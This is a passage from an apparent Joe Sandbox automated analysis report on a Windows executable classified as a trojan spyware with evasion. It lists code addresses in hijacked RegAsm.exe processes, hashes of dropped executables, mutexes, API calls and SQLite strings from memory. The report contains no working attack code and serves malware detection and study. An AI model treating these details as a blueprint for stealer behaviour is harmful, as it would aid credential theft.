Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58545C	3_2_6C58545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C525440	3_2_6C525440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C555C10	3_2_6C555C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C562C10	3_2_6C562C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58AC00	3_2_6C58AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58542B	3_2_6C58542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53D4D0	3_2_6C53D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5264C0	3_2_6C5264C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C556CF0	3_2_6C556CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51D4E0	3_2_6C51D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C526C80	3_2_6C526C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5734A0	3_2_6C5734A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C57C4A0	3_2_6C57C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53ED10	3_2_6C53ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C540512	3_2_6C540512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52FD00	3_2_6C52FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C550DD0	3_2_6C550DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5785F0	3_2_6C5785F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C539E50	3_2_6C539E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C553E50	3_2_6C553E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C534640	3_2_6C534640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C562E4E	3_2_6C562E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51C670	3_2_6C51C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C586E63	3_2_6C586E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C557E10	3_2_6C557E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C565600	3_2_6C565600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C579E30	3_2_6C579E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51BEF0	3_2_6C51BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52FEF0	3_2_6C52FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5876E3	3_2_6C5876E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C535E90	3_2_6C535E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C57E680	3_2_6C57E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C574EA0	3_2_6C574EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C557710	3_2_6C557710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C529F00	3_2_6C529F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C546FF0	3_2_6C546FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51DFE0	3_2_6C51DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5677A0	3_2_6C5677A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C538850	3_2_6C538850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53D850	3_2_6C53D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C55F070	3_2_6C55F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C527810	3_2_6C527810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C55B820	3_2_6C55B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C564820	3_2_6C564820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5850C7	3_2_6C5850C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53C0E0	3_2_6C53C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5558E0	3_2_6C5558E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5460A0	3_2_6C5460A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53A940	3_2_6C53A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C56B970	3_2_6C56B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58B170	3_2_6C58B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52D960	3_2_6C52D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C555190	3_2_6C555190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C572990	3_2_6C572990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C54D9B0	3_2_6C54D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51C9A0	3_2_6C51C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C559A60	3_2_6C559A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C558AC0	3_2_6C558AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C531AF0	3_2_6C531AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C55E2F0	3_2_6C55E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58BA90	3_2_6C58BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52CAB0	3_2_6C52CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C582AB0	3_2_6C582AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5122A0	3_2_6C5122A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C544AA0	3_2_6C544AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C515340	3_2_6C515340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52C370	3_2_6C52C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C55D320	3_2_6C55D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5853C8	3_2_6C5853C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51F380	3_2_6C51F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5CAC60	3_2_6C5CAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C69AC30	3_2_6C69AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C686C00	3_2_6C686C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5BECC0	3_2_6C5BECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C61ECD0	3_2_6C61ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C68ED70	3_2_6C68ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6EAD50	3_2_6C6EAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C748D20	3_2_6C748D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040F242	10_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00410A14	10_2_00410A14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040FEA0	10_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00434060	10_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00401000	10_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040B010	10_2_0040B010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042F038	10_2_0042F038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00440118	10_2_00440118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00409130	10_2_00409130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00434136	10_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0043F1E0	10_2_0043F1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004492C0	10_2_004492C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00401297	10_2_00401297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00405320	10_2_00405320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040A3F0	10_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004073B0	10_2_004073B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00449410	10_2_00449410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040B4B0	10_2_0040B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00449580	10_2_00449580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00411600	10_2_00411600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042D6F0	10_2_0042D6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00449690	10_2_00449690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00448740	10_2_00448740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00408750	10_2_00408750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00403710	10_2_00403710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004407E0	10_2_004407E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00449780	10_2_00449780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0041E85A	10_2_0041E85A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042887B	10_2_0042887B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00430810	10_2_00430810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00439880	10_2_00439880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040A940	10_2_0040A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0041E900	10_2_0041E900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00449A40	10_2_00449A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00409AC4	10_2_00409AC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00444B60	10_2_00444B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042DB00	10_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00439B00	10_2_00439B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0041FB39	10_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042DBD5	10_2_0042DBD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00448C40	10_2_00448C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00428D00	10_2_00428D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00428D1C	10_2_00428D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0044AD20	10_2_0044AD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00429DC9	10_2_00429DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00407DB0	10_2_00407DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00437E70	10_2_00437E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0042CEC0	10_2_0042CEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00429EE0	10_2_00429EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00410E90	10_2_00410E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040BFC0	10_2_0040BFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22424CF0	14_2_22424CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2241EA80	14_2_2241EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2243BAB0	14_2_2243BAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22429000	14_2_22429000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22447810	14_2_22447810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2241F160	14_2_2241F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2244CE10	14_2_2244CE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_224266C0	14_2_224266C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22456E80	14_2_22456E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22441C50	14_2_22441C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2243A560	14_2_2243A560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2241D57C	14_2_2241D57C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2257A2C0	14_2_2257A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2258DB30	14_2_2258DB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225933E0	14_2_225933E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2257F8D0	14_2_2257F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2259D100	14_2_2259D100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225A3920	14_2_225A3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225961E0	14_2_225961E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225A16D0	14_2_225A16D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22579430	14_2_22579430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22579CC0	14_2_22579CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2259FD50	14_2_2259FD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225A5F40	14_2_225A5F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225C4FB2	14_2_225C4FB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_2260226A	14_2_2260226A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22609390	14_2_22609390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22609A20	14_2_22609A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225EAEBE	14_2_225EAEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_22609F80	14_2_22609F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_225AD7C0	14_2_225AD7C0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\DBGIJEHIID.exe 2B8BCD9D7D072FEB114E0436DC10AA80FDA52CDD46A4948EA1AE984F74898375
Source: Joe Sandbox View	Dropped File: C:\ProgramData\EGDGCGCFHI.exe DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C54CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5594D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040CB10 appears 57 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041DBA0 appears 150 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.2112144297.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.2107399987.0000000000A76000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe\ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KECBKKEBKE.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fa2b049020f_ldnf[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EGDGCGCFHI.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fa2afc5abea_vasd[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DBGIJEHIID.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/62@22/9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C577030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C577030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4440:120:WilError_03
Source: C:\Users\userIJEGDBGDBF.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4020:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2665362322.000000006C74F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2622122875.0000000020358000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3065991544.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
